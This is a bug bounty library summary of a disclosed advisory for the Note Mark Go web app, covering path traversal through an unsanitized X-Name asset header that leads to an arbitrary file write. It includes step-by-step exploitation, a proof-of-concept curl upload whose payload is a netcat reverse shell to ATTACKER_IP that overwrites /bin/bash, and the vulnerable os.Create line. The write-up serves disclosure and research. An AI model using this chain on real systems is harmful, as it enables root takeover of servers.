# Note Mark: Arbitrary File Write via Path Traversal in Asset Names Leads to Remote Code Execution

Unsigned X-Name asset header stored unsanitized; admin export joins it into os.Create path, letting attacker overwrite /bin/bash and gain root RCE.

- Payout: Research
- Severity: high
- Program: Note Mark
- Found by: rvzsec
- Disclosed: 2026-05-07
- CVE: CVE-2026-44522
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-g49p-4qxj-88v3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-g49p-4qxj-88v3
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** Go web app asset upload API and CLI export command
**Root cause:** Asset filename from X-Name header is persisted without sanitization, then passed into filepath.Join/path.Join in the export CLI, so ../ sequences escape the export directory.
**Steps:**
1. Start Note Mark 0.19.2 Docker image with JWT_SECRET and PUBLIC_URL set
2. Register user via `POST /api/users`
3. Authenticate via `POST /api/auth/token` and save `Auth-Session-Token` cookie
4. Create book via `POST /api/books`, capture BOOK_ID
5. Create note via `POST /api/books/<BOOK_ID>/notes`, capture NOTE_ID
6. Upload asset with `X-Name: ../../../../../../bin/bash` and reverse shell body via `POST /api/notes/<NOTE_ID>/assets`
7. Admin runs `note-mark migrate export-v1 --export-dir /data/backup`
8. Verify `/bin/bash` overwritten, start nc listener, invoke `bash` to get root shell
**How found:** Source review of asset upload handler and CLI export code, noticing X-Name stored raw and later joined into os.Create path.
**Exploitation:** Authenticated low-priv user stores traversal filename; admin-triggered export writes attacker payload over /bin/bash as root; next bash invocation executes reverse shell as root.
**Escalation:** Overwrite /bin/bash (or /etc/cron.d/, systemd units) to convert arbitrary file write into root code execution.
**Insight:** Look for stored user-controlled filenames that later flow into filepath.Join/path.Join in admin/CLI tooling — the write primitive often runs with elevated privileges.

## Proof of concept (copied exactly from the original report)

**Asset upload with path traversal X-Name header**

```
curl -s -X POST http://localhost:8080/api/notes/<NOTE_ID>/assets -b 'Auth-Session-Token=<TOKEN>' -H 'X-Name: ../../../../../../bin/bash' -H 'Content-Type: application/octet-stream' -d '#!/bin/sh\nnc <ATTACKER_IP> <PORT> -e /bin/sh'
```

**Export command triggering arbitrary file write**

```
docker exec notemark /note-mark migrate export-v1 --export-dir /data/backup
```

**Vulnerable os.Create with unsanitized asset name**

```
f, err := os.Create(filepath.Join(noteDir, asset.Name))
```

